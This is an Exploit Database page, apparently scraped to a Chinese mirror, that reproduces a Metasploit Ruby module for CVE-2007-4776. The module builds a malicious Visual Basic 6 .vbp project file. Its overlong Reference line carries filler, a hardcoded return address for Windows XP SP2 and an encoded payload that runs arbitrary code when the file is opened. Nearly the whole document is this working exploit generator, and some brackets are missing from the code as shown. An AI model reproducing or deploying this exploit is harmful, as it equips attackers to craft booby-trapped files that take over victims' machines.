Microsoft Visual Basic – ‘.VBP’ Local Buffer Overflow (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2010-09-25
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16680/

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# $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',

'Description'=> %q{

This module exploits a stack oveflow in Microsoft Visual

Basic 6.0. When a specially crafted vbp file containing a long

reference line, an attacker may be able to execute arbitrary

code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 10477 $',

'References' =>

[

[ 'CVE', '2007-4776' ],

[ 'OSVDB', '36936' ],

[ 'BID', '25629' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 650,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'DisableNops' =>'True',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],

'Privileged' => false,

'DisclosureDate' => 'Sep 4 2007',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.vbp']),

], self.class)

end

def exploit

sploit =rand_text_alpha_upper(496) + [target.ret].pack('V')

sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')

sploit << make_nops(24) + payload.encoded

vbp ="Type=Exe\r\n"

vbp << "Form=Form2.frm\r\n"

vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"

vbp << sploit + "\r\n"

vbp << "Startup=\"Form2\"\r\n"

vbp << "Command32=\"\"\r\n"

vbp << "Name=\"Project2\"\r\n"

vbp << "HelpContextID=\"0\"\r\n"

vbp << "CompatibleMode=\"0\"\r\n"

vbp << "MajorVer=1\r\n"

vbp << "MinorVer=0\r\n"

vbp << "RevisionVer=0\r\n"

vbp << "AutoIncrementVer=0\r\n"

vbp << "ServerSupportFiles=0\r\n"

vbp << "VersionCompanyName=\"\"\r\n"

vbp << "CompilationType=0\r\n"

vbp << "OptimizationType=0\r\n"

vbp << "FavorPentiumPro(tm)=0\r\n"

vbp << "CodeViewDebugInfo=0\r\n"

vbp << "NoAliasing=0\r\n"

vbp << "BoundsCheck=0\r\n"

vbp << "OverflowCheck=0\r\n"

vbp << "FlPointCheck=0\r\n"

vbp << "FDIVCheck=0\r\n"

vbp << "UnroundedFP=0\r\n"

vbp << "StartMode=0\r\n"

vbp << "Unattended=0\r\n"

vbp << "Retained=0\r\n"

vbp << "ThreadPerObject=0\r\n"

vbp << "MaxNumberOfThreads=1\r\n"

vbp << "[MS Transaction Server]\r\n"

vbp << "AutoRefresh=1\r\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(vbp)

end